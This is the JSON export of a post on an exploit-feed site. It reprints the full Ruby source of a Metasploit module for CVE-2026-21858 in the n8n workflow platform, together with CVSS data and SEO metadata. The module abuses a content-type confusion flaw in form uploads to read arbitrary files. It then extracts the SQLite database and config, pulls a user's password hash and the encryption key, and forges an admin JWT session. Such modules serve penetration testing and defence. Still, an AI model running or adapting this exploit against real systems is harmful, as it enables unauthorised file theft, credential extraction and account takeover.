{"id":41071,"date":"2026-02-16T13:47:31","date_gmt":"2026-02-16T13:47:31","guid":{"rendered":"http:\/\/localhost\/?p=41071"},"modified":"2026-02-16T13:47:31","modified_gmt":"2026-02-16T13:47:31","slug":"n8n-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41071","title":{"rendered":"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T19:28:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed \\&#8221;Ni8mare\\&#8221;, is a content-type confusion flaw in webhook&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T18:59:46&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T18:59:46&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;n8n arbitrary file read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-21858&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\nrequire &#8216;sqlite3&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n\\n  include Msf::Exploit::Remote::HttpClient\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;n8n arbitrary file read&#8217;,\\n        &#8216;Description&#8217; =\\u003e &#8216;This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed \\&#8221;Ni8mare\\&#8221;, is a content-type confusion flaw in webhook request handling that allows attackers to achieve arbitrary file read.&#8217;,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;dor attias&#8217;, # research\\n          &#8216;msutovsky-r7&#8217; # module\\n        ],\\n        &#8216;Actions&#8217; =\\u003e [\\n          [&#8216;READ_FILE&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Read an arbitrary file from the target&#8217; }],\\n          [&#8216;EXTRACT_SESSION&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Create an admin JWT session key by reading out secrets&#8217; }]\\n        ],\\n        &#8216;DefaultAction&#8217; =\\u003e &#8216;EXTRACT_SESSION&#8217;,\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;TARGET_EMAIL&#8217;, [false, &#8216;A target user for spoofed session, when EXTRACT_ADMIN_SESSION action is set&#8217;], conditions: [&#8216;ACTION&#8217;, &#8216;==&#8217;, &#8216;EXTRACT_SESSION&#8217;]),\\n      OptString.new(&#8216;N8N_CONFIG_DIR&#8217;, [false, &#8216;Absolute path to n8n config directory&#8217;, &#8216;\/home\/node\/.n8n\/&#8217;], conditions: [&#8216;ACTION&#8217;, &#8216;==&#8217;, &#8216;EXTRACT_SESSION&#8217;]),\\n      OptString.new(&#8216;TARGET_FILENAME&#8217;, [false, &#8216;A target filename, when READ_FILE action is set&#8217;], conditions: [&#8216;ACTION&#8217;, &#8216;==&#8217;, &#8216;READ_FILE&#8217;]),\\n      OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Username of n8n (email address)&#8217;]),\\n      OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password of n8n&#8217;])\\n    ])\\n  end\\n\\n  def content_type_confusion_upload(form_uri, filename)\\n    extraction_filename = \\&#8221;#{Rex::Text.rand_text_alpha(rand(8..11))}.pdf\\&#8221;\\n    json_data = {\\n      files: {\\n        \\&#8221;field-0\\&#8221;:\\n        {\\n          filepath: filename,\\n          originalFilename: extraction_filename,\\n          mimeType: &#8216;text\/plain&#8217;,\\n          extenstion: &#8221;\\n        }\\n      },\\n      data: [\\n        Rex::Text.rand_text_alpha(12)\\n      ],\\n      executionId: Rex::Text.rand_text_alpha(12)\\n    }\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;form-test&#8217;, form_uri),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;data&#8217; =\\u003e json_data.to_json\\n    })\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Received unexpected response&#8217;) unless res\\u0026.code == 200\\n\\n    json_res = res.get_json_document\\n\\n    fail_with(Failure::PayloadFailed, &#8216;Failed to load target file&#8217;) unless json_res[&#8216;status&#8217;] != &#8216;200&#8217;\\n  end\\n\\n  def login\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;login&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;data&#8217; =\\u003e {\\n        &#8217;emailOrLdapLoginId&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n        &#8217;email&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n        &#8216;password&#8217; =\\u003e datastore[&#8216;PASSWORD&#8217;]\\n      }.to_json\\n    )\\n    return false unless res\\n    return true if res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    print_error(\\&#8221;Login failed: #{json_data[&#8216;message&#8217;]}\\&#8221;)\\n\\n    false\\n  end\\n\\n  def create_file_upload_workflow\\n    @workflow_name = \\&#8221;workflow_#{Rex::Text.rand_text_alphanumeric(8)}\\&#8221;\\n    random_uuid = SecureRandom.uuid.strip\\n    workflow_data = {\\n      &#8216;name&#8217; =\\u003e @workflow_name,\\n      &#8216;active&#8217; =\\u003e false,\\n      &#8216;settings&#8217; =\\u003e {\\n        &#8216;saveDataErrorExecution&#8217; =\\u003e &#8216;all&#8217;,\\n        &#8216;saveDataSuccessExecution&#8217; =\\u003e &#8216;all&#8217;,\\n        &#8216;saveManualExecutions&#8217; =\\u003e true,\\n        &#8216;executionOrder&#8217; =\\u003e &#8216;v1&#8217;\\n      },\\n      nodes: [\\n        {\\n          parameters: {\\n            formTitle: Rex::Text.rand_text_alphanumeric(8),\\n            formFields: {\\n              values: [\\n                {\\n                  fieldLabel: Rex::Text.rand_text_alphanumeric(8),\\n                  fieldType: &#8216;file&#8217;\\n                }\\n              ]\\n            },\\n            options: {}\\n          },\\n          type: &#8216;n8n-nodes-base.formTrigger&#8217;,\\n          typeVersion: 2.3,\\n          position: [0, 0],\\n          id: &#8216;e4f12efa-9975-4041-b71f-0ce4999ec5a7&#8217;,\\n          name: &#8216;On form submission&#8217;,\\n          webhookId: random_uuid\\n        }\\n      ],\\n      &#8216;connections&#8217; =\\u003e {},\\n      settings: { executionOrder: &#8216;v1&#8217; }\\n    }\\n\\n    print_status(&#8216;Creating file upload workflow&#8230;&#8217;)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;data&#8217; =\\u003e workflow_data.to_json\\n    )\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Failed to create workflow: #{res\\u0026.code}\\&#8221;) unless res\\u0026.code == 200 || res.code == 201\\n\\n    json = res.get_json_document\\n\\n    @workflow_id = json.dig(&#8216;data&#8217;, &#8216;id&#8217;) || json[&#8216;id&#8217;]\\n    nodes = json.dig(&#8216;data&#8217;, &#8216;nodes&#8217;)\\n    version_id = json.dig(&#8216;data&#8217;, &#8216;versionId&#8217;)\\n    id = json.dig(&#8216;data&#8217;, &#8216;id&#8217;)\\n\\n    fail_with(Failure::NotFound, &#8216;Failed to get workflow ID from response&#8217;) unless @workflow_id \\u0026\\u0026 nodes \\u0026\\u0026 version_id \\u0026\\u0026 id\\n\\n    activation_data = {\\n      &#8216;workflowData&#8217; =\\u003e {\\n        &#8216;name&#8217; =\\u003e @workflow_name,\\n        &#8216;nodes&#8217; =\\u003e nodes,\\n        &#8216;pinData&#8217; =\\u003e {},\\n        &#8216;connections&#8217; =\\u003e {},\\n        &#8216;active&#8217; =\\u003e false,\\n        &#8216;settings&#8217; =\\u003e {\\n          &#8216;saveDataErrorExecution&#8217; =\\u003e &#8216;all&#8217;,\\n          &#8216;saveDataSuccessExecution&#8217; =\\u003e &#8216;all&#8217;,\\n          &#8216;saveManualExecutions&#8217; =\\u003e true,\\n          &#8216;executionOrder&#8217; =\\u003e &#8216;v1&#8217;\\n        },\\n        &#8216;tags&#8217; =\\u003e [],\\n        &#8216;versionId&#8217; =\\u003e version_id,\\n        &#8216;meta&#8217; =\\u003e &#8216;null&#8217;,\\n        &#8216;id&#8217; =\\u003e id\\n      },\\n      startNodes: [\\n        {\\n          name: &#8216;On form submission&#8217;,\\n          sourceData: &#8216;null&#8217;\\n        }\\n      ],\\n      destinationNode: &#8216;On form submission&#8217;\\n    }\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, @workflow_id.to_s, &#8216;run&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;data&#8217; =\\u003e activation_data.to_json\\n    )\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Workflow may not run, received unexpected reply&#8217;) unless res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    fail_with(Failure::PayloadFailed, &#8216;Failed to run workflow&#8217;) unless json_data.dig(&#8216;data&#8217;, &#8216;waitingForWebhook&#8217;) == true\\n    random_uuid\\n  end\\n\\n  def get_run_id\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;rest&#8217;, &#8216;executions&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e\\n      {\\n        &#8216;filter&#8217; =\\u003e %({\\&#8221;workflowId\\&#8221;:\\&#8221;#{@workflow_id}\\&#8221;}),\\n        &#8216;limit&#8217; =\\u003e 10\\n      }\\n    })\\n    fail_with(Failure::UnexpectedReply, &#8216;Received unexpected reply, could not get run ID&#8217;) unless res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    run_id = json_data.dig(&#8216;data&#8217;, &#8216;results&#8217;, 0, &#8216;id&#8217;)\\n    fail_with(Failure::Unknown, &#8216;Failed to get run ID, workflow might not run&#8217;) unless run_id\\n\\n    run_id\\n  end\\n\\n  def archive_workflow\\n    print_status(\\&#8221;Cleaning up workflow #{@workflow_id}&#8230;\\&#8221;)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, @workflow_id.to_s, &#8216;archive&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n\\n    return false unless res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    return false unless json_data.dig(&#8216;data&#8217;, &#8216;id&#8217;) == @workflow_id\\n\\n    true\\n  end\\n\\n  def valid_username?(username)\\n    \/\\\\A[\\\\w+\\\\-.]+@[a-z\\\\d-]+(\\\\.[a-z\\\\d-]+)*\\\\.[a-z]+\\\\z\/i =~ username\\n  end\\n\\n  def delete_workflow\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;DELETE&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, @workflow_id.to_s)\\n    )\\n\\n    return false unless res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    return false unless json_data[&#8216;data&#8217;] == true\\n\\n    true\\n  end\\n\\n  def extract_content(run_id)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;rest&#8217;, &#8216;executions&#8217;, run_id)\\n    })\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Failed to get information about execution, received unexpected reply&#8217;) unless res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    file_data = json_data.dig(&#8216;data&#8217;, &#8216;data&#8217;)\\n\\n    fail_with(Failure::PayloadFailed, &#8216;Failed to read the file&#8217;) unless file_data\\n\\n    parsed_file_data = parse_json_data(file_data)\\n\\n    file_content_enc = parsed_file_data[29]\\n\\n    fail_with(Failure::NotFound, &#8216;File not found&#8217;) unless file_content_enc\\n\\n    file_content = ::Base64.decode64(file_content_enc)\\n\\n    file_content\\n  end\\n\\n  def parse_json_data(data)\\n    begin\\n      parsed_file_data = JSON.parse(data)\\n    rescue JSON::ParserError\\n      fail_with(Failure::Unknown, &#8216;Failed to parse JSON data&#8217;)\\n    end\\n    parsed_file_data\\n  end\\n\\n  def read_file(filename)\\n    form_uri = create_file_upload_workflow\\n\\n    content_type_confusion_upload(form_uri, filename)\\n\\n    run_id = get_run_id\\n\\n    file_content = extract_content(run_id)\\n\\n    if !archive_workflow\\n      print_warning(&#8216;Could not archive workflow, workflow might need to be archived and deleted manually&#8217;)\\n      return file_content\\n    end\\n\\n    if !delete_workflow\\n      print_warning(&#8216;Could not deleted workflow, workflow might need to be deleted manually&#8217;)\\n      return file_content\\n    end\\n\\n    file_content\\n  end\\n\\n  def run\\n    fail_with(Failure::BadConfig, &#8216;Username should be valid email&#8217;) unless valid_username?(datastore[&#8216;USERNAME&#8217;])\\n    fail_with(Failure::NoAccess, &#8216;Failed to login&#8217;) unless login\\n\\n    case action.name\\n    when &#8216;READ_FILE&#8217;\\n      target_filename = datastore[&#8216;TARGET_FILENAME&#8217;]\\n      fail_with(Failure::BadConfig, &#8216;Filename needs to be set&#8217;) if target_filename.blank?\\n      file_content = read_file(target_filename)\\n\\n      stored_path = store_loot(target_filename, &#8216;text\/plain&#8217;, datastore[&#8216;rhosts&#8217;], file_content)\\n      print_good(\\&#8221;Results saved to: #{stored_path}\\&#8221;)\\n\\n    when &#8216;EXTRACT_SESSION&#8217;\\n      target_email = datastore[&#8216;TARGET_EMAIL&#8217;]\\n\\n      fail_with(Failure::BadConfig, &#8216;Target email needs to be set&#8217;) if target_email.blank?\\n      fail_with(Failure::BadConfig, &#8216;Target email should be valid email&#8217;) unless valid_username?(target_email)\\n\\n      db_content = read_file(\\&#8221;#{datastore[&#8216;N8N_CONFIG_DIR&#8217;]}\/database.sqlite\\&#8221;)\\n\\n      fail_with(Failure::NotFound, &#8216;Could not found database file&#8217;) unless db_content\\n\\n      db_loot_name = store_loot(&#8216;database.sqlite&#8217;, &#8216;application\/x-sqlite3&#8217;, datastore[&#8216;rhosts&#8217;], db_content)\\n\\n      print_good(\\&#8221;Database saved to: #{db_loot_name}\\&#8221;)\\n\\n      db = SQLite3::Database.new(db_loot_name)\\n\\n      user_id = db.execute(%(select id from user where email=&#8217;#{target_email}&#8217;)).dig(0, 0)\\n      password_hash = db.execute(%(select password from user where email=&#8217;#{target_email}&#8217;)).dig(0, 0)\\n\\n      fail_with(Failure::NotFound, \\&#8221;Could not found #{target_email} in database\\&#8221;) unless user_id \\u0026\\u0026 password_hash\\n\\n      print_good(\\&#8221;Extracted user ID: #{user_id}\\&#8221;)\\n      print_good(\\&#8221;Extracted password hash: #{password_hash}\\&#8221;)\\n\\n      store_valid_credential(\\n        user: target_email,\\n        private: password_hash\\n      )\\n\\n      config_content = read_file(\\&#8221;#{datastore[&#8216;N8N_CONFIG_DIR&#8217;]}\/config\\&#8221;)\\n\\n      fail_with(Failure::NotFound, &#8216;Could not found config file&#8217;) unless config_content\\n\\n      config_name = store_loot(&#8216;n8n.config&#8217;, &#8216;plain\/text&#8217;, datastore[&#8216;rhosts&#8217;], config_content)\\n      print_good(\\&#8221;Config file saved to: #{config_name}\\&#8221;)\\n\\n      config_content_json = parse_json_data(config_content)\\n      encryption_key = config_content_json[&#8216;encryptionKey&#8217;]\\n\\n      print_good(\\&#8221;Extracted encryption key: #{encryption_key}\\&#8221;)\\n\\n      encryption_key = (0&#8230;encryption_key.length).step(2).map { |i| encryption_key[i] }\\n      encryption_key = encryption_key.join(&#8221;)\\n\\n      jwt_payload = %({\\&#8221;id\\&#8221;:\\&#8221;#{user_id}\\&#8221;,\\&#8221;hash\\&#8221;:\\&#8221;#{Base64.urlsafe_encode64(Digest::SHA256.digest(\\&#8221;#{target_email}:#{password_hash}\\&#8221;))[0..9]}\\&#8221;})\\n\\n      jwt_ticket = Msf::Exploit::Remote::HTTP::JWT.encode(jwt_payload.to_s, OpenSSL::Digest::SHA256.hexdigest(encryption_key))\\n\\n      print_good(\\&#8221;JWT ticket as #{target_email}: #{jwt_ticket}\\&#8221;)\\n\\n    end\\n  end\\n\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/gather\/ni8mare_cve_2026_21858.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/gather\/ni8mare_cve_2026_21858\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T19:28:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed \\&#8221;Ni8mare\\&#8221;, is&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,169,13,7,11,5],"class_list":["post-41071","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41071\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T19:28:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed &#8221;Ni8mare&#8221;, is...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41071\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T13:47:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-\",\"datePublished\":\"2026-02-16T13:47:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071\"},\"wordCount\":2080,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41071#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071\",\"name\":\"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T13:47:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41071\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41071#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41071","og_locale":"en_US","og_type":"article","og_title":"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T19:28:06&#8243;,&#8221;description&#8221;:&#8221;This module exploits CVE-2026-21858, a critical unauthenticated remote code execution vulnerability in n8n workflow automation platform versions 1.65.0 through 1.120.x. The vulnerability, dubbed &#8221;Ni8mare&#8221;, is...","og_url":"https:\/\/zero.redgem.net\/?p=41071","og_site_name":"zero redgem","article_published_time":"2026-02-16T13:47:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41071#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41071"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"n8n arbitrary file read_MSF:AUXILIARY-GATHER-NI8MARE_CVE_2026_21858-","datePublished":"2026-02-16T13:47:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41071"},"wordCount":2080,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41071#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41071","url":"https:\/\/zero.redgem.net\/?p=41071","name":"n8n arbitrary file 